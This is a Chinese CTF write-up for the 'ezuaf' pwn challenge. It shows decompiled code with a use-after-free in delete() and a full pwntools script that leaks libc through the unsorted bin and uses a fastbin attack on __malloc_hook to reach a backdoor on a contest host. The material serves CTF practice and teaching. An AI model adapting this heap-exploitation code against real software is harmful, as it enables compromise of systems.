第三届古剑山-PWN-Ezuaf

First Post:

Last Update:

Page View: loading...

第三届古剑山-PWN-ezuaf

看题目名猜到是存在uaf的

保护:

1
2
3
4
5
6
7
8
> checksec ezuaf
[*] '/home/1angx/Desktop/jiaoben/gu jian shan/ezuaf/ezuaf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Stripped: No

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to CTF!");
while ( 1 )
{
menu();
switch ( (unsigned int)get_num() )
{
case 1u:
add();
break;
case 2u:
delete();
break;
case 3u:
show();
break;
case 4u:
edit();
break;
case 5u:
exit(0);
default:
puts("invalid!");
break;
}
}
}

add():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int add()
{
unsigned int num; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

printf("Input the index of the note:");
num = get_num();
if ( num >= 0xA )
exit(1);
printf("Input the length of the note:");
v2 = get_num();
*(_QWORD *)&notes[4 * num + 2] = malloc(v2);
notes[4 * num] = v2;
printf("please enter your note:");
read(0, *(void **)&notes[4 * num + 2], (int)notes[4 * num]);
return puts("you have a new note!");
}

edit():

1
2
3
4
5
6
7
8
9
10
11
ssize_t edit()
{
unsigned int num; // [rsp+Ch] [rbp-4h]

printf("enter the index of note:");
num = get_num();
if ( num >= 0xA )
exit(1);
printf("please enter your note:");
return read(0, *(void **)&notes[4 * num + 2], (int)notes[4 * num]);
}

show:

1
2
3
4
5
6
7
8
9
10
11
12
13
int show()
{
unsigned int num; // [rsp+Ch] [rbp-4h]

printf("Input the index of the note:");
num = get_num();
if ( num >= 0xA )
exit(1);
if ( !*(_QWORD *)&notes[4 * num + 2] )
exit(1);
printf("The content of the note:");
return puts(*(const char **)&notes[4 * num + 2]);
}

delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
unsigned int num; // [rsp+Ch] [rbp-4h]

printf("enter index:");
num = get_num();
if ( num >= 0xA )
exit(1);
if ( free_times > 0 )
{
free(*(void **)&notes[4 * num + 2]); //uaf
--free_times;
}
notes[4 * num] = 0;
return puts("say goodbye to your notes!");
}

确实存在uaf,可以直接打uaf+double_free

思路:

1.泄露libc:直接用unsortedbin泄露出main_arena算出libc基地址

2.直接fastbin_attack劫持fd指针改为malloc_hook,把malloc_hook挂进链表,本来打算打one_gadget的但是突然看见有后门直接劫持到后门

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda des,data : print(des+hex(data))
psla = lambda data1,data2 : p.sendlineafter(data1,data2)
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './ezuaf'

HOST = "47.107.139.41"
PORT = 43869
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)
libc = ELF("./libc.so.6")
e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()


# ========== FUNTION ===========
def choose(chose):
psla("your choice:",str(chose))
def add(index,size,context):
choose(1)
psla(":",str(index))
psla(":",str(size))
psla(":",context)

def delete(index):
choose(2)
psla(":",str(index))

def show(index):
choose(3)
psla(":",str(index))

def edit(index,context):
choose(4)
psla(":",str(index))
psla(":",context)

# ========== Exploit 开始 ==========
def exp():
note = 0x6020E0
backdoor = 0x400886
add(0,0x100,b'jian')
add(1,0x100,b'jian')
delete(0)

show(0)

libc_base = uu64()-0x3c4b78
ph("libc_base",libc_base)

malloc_hook = libc_base+libc.sym['__malloc_hook']
ph("malloc_hook",malloc_hook)

add(2,0x60,b'fast1')
add(3,0x60,b'fast2')
delete(0)
edit(2,p64(malloc_hook-0x23))
add(4,0x60,b'cccc')
add(5,0x60,p64(0)+p64(0)+b'a'*0x3+p64(backdoor))
add(6,0x10,b'a')
#bug()

p.interactive()


for i in range(100):
exp()
a = p.recvline
if "flag" in a :
pause()